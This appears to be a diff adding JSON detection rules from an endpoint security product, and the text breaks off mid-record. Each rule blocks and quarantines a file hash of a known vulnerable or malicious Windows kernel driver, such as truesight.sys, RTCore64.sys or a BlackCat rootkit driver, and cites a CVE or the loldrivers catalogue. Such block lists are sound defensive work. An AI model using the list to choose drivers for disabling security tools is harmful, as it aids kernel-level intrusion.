+{
+  "id": "a7065736-c0bd-5429-b170-6c6c292bac30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615099Z",
+  "creation_date": "2026-03-23T11:45:29.615101Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18776682fcc0c6863147143759a8d4050a4115a8ede0136e49a7cf885c8a4805",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a709f252-8b8d-5957-87ae-683fb428ea13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810291Z",
+  "creation_date": "2026-03-23T11:45:31.810293Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810299Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ae9ab9a8092590c8413d4cff96fb5e78a0e6070432f0c103adeb01f39bcd8ed",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a70d178e-add3-55ad-be4e-ac75e0d28a55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461126Z",
+  "creation_date": "2026-03-23T11:45:30.461129Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461138Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bbbeb5020b58e6942ec7dec0d1d518e95fc12ddae43f54ef0829d3393c6afd63",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a725f206-78df-5930-a437-624a4df1ffd8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826991Z",
+  "creation_date": "2026-03-23T11:45:31.826993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b1af547bbae57877b477886dd5b9d8aacbf529cba83270abe16c93d05b823c9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a72d9bed-cf95-5fe0-9a47-97d9b9e094b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146831Z",
+  "creation_date": "2026-03-23T11:45:31.146833Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146838Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd6fa2dbddc71b076b718f6d1eb834e6562921a28eab26d9e36f555170688b75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a737f5d9-0dcc-5a27-bbcb-d9429ed52dfd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156500Z",
+  "creation_date": "2026-03-23T11:45:31.156502Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec80b7453e9df01c251dea86942376db15570f0de1219a6bd04a3162599a967e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7603904-18f0-51b7-9867-642994aebdf1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824111Z",
+  "creation_date": "2026-03-23T11:45:31.824114Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824122Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "69a48dd48d2e47a01261192b19aa99687d493e78357dac87830da7cc5f8df708",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a77296d0-3e6c-55b8-af7a-01e5fb885e37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983334Z",
+  "creation_date": "2026-03-23T11:45:29.983336Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983342Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b60228db4f3092063e115537b5731ef3487ecf55c036e812605c5149071332c",
+  "comment": "Vulnerable Kernel Driver (aka dcr.sys) [https://www.loldrivers.io/drivers/b1dd91b1-9ba3-4d68-a2d1-919039e18430/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7742db5-a572-5441-8e43-f31456c7f420",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985557Z",
+  "creation_date": "2026-03-23T11:45:29.985559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb25a5125fb353496b59b910263209f273f3552d",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka fgme.sys, ktes.sys, kt2.sys and ktgn.sys) [https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html] [file SHA1]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a791ffd5-0b66-52ae-a465-090ac8ae6dd6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981384Z",
+  "creation_date": "2026-03-23T11:45:29.981386Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2e843d9729da9b19d6085edf69b90b057c890a74142f5202707057ee9c0b568",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a79b2915-b4fd-534d-868f-bb6a4b70f332",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457535Z",
+  "creation_date": "2026-03-23T11:45:30.457539Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "442c18aeb09556bb779b21185c4f7e152b892410429c123c86fc209a802bff3c",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a79e5c19-33bd-503c-b13c-b27330537098",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459489Z",
+  "creation_date": "2026-03-23T11:45:30.459492Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62b14bb308c99132d90646e85bc7d6eb593f38e225c8232f69f24b74a019c176",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7a17348-530a-5900-aa8a-6e6992c2412a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146359Z",
+  "creation_date": "2026-03-23T11:45:32.146361Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146367Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8",
+  "comment": "Vulnerable Kernel Driver (aka wsftprm.sys) [https://www.loldrivers.io/drivers/30e8d598-2c60-49e4-953b-a6f620da1371/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7a80b46-d090-5deb-948b-cf031254524b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144258Z",
+  "creation_date": "2026-03-23T11:45:32.144261Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144267Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dee8dbe00a809e5ecdbea898393dd9ecd32fa0a0de80463cc2b903dcdec2cffe",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7b429bb-0cc9-5a12-b399-9a585519126c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483275Z",
+  "creation_date": "2026-03-23T11:45:31.483279Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483289Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d408df99fafdede69913c4f2067042c6c8b735f32c7d344f3f3e1228ce950bad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7b52ca2-95e0-59de-8335-0e5790af6c35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827143Z",
+  "creation_date": "2026-03-23T11:45:30.827145Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827150Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afd675062e521b9a03c4a9ba2007096355f38c6206f41861bd78e94e39b286cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7bbf863-9e00-50d9-8f83-058aa8a3f037",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472980Z",
+  "creation_date": "2026-03-23T11:45:31.472983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472991Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eae3d11d5523aa08c4c75585e30cb93a7ef78bdc11b6570045a957c601a8b680",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7bfcd28-0943-5fd8-8a24-9b89516f0e4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977207Z",
+  "creation_date": "2026-03-23T11:45:29.977209Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977214Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d4e7335a177e47688d68ad89940c272f82728c882623f1630e7fd2e03e16f003",
+  "comment": "ASUS vulnerable VGA Kernel Mode Driver (aka EIO.sys) [https://www.loldrivers.io/drivers/f654ad84-c61d-477c-a0b2-d153b927dfcc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7efc63e-5c7d-5535-923e-7cbb7ee6a290",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488890Z",
+  "creation_date": "2026-03-23T11:45:31.488892Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488898Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc9cb071af476c8e92b2e90c2bd8233d3c3254bc540ed9c275829ecc0a5e4849",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a7ff1038-d44d-5daa-a6ae-ad15a00446f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616649Z",
+  "creation_date": "2026-03-23T11:45:29.616652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36aafa127736c7226c50061ea065f71e14f64ec60321f705bc52686d24117e0d",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8003130-e7ba-5d23-9a7c-755655482c58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604187Z",
+  "creation_date": "2026-03-23T11:45:29.604189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc7d726e0e803bb38c0f9e910d91970c3dd7444ace1c071381e2e06939616205",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8018a8a-f1f4-592a-b20c-f91836c9ab99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622456Z",
+  "creation_date": "2026-03-23T11:45:29.622458Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622464Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65025741ecd0ef516da01319b42c2d96e13cb8d78de53fb7e39cd53ea6d58c75",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a801c26e-8c79-5a67-bd06-0c92d14426eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
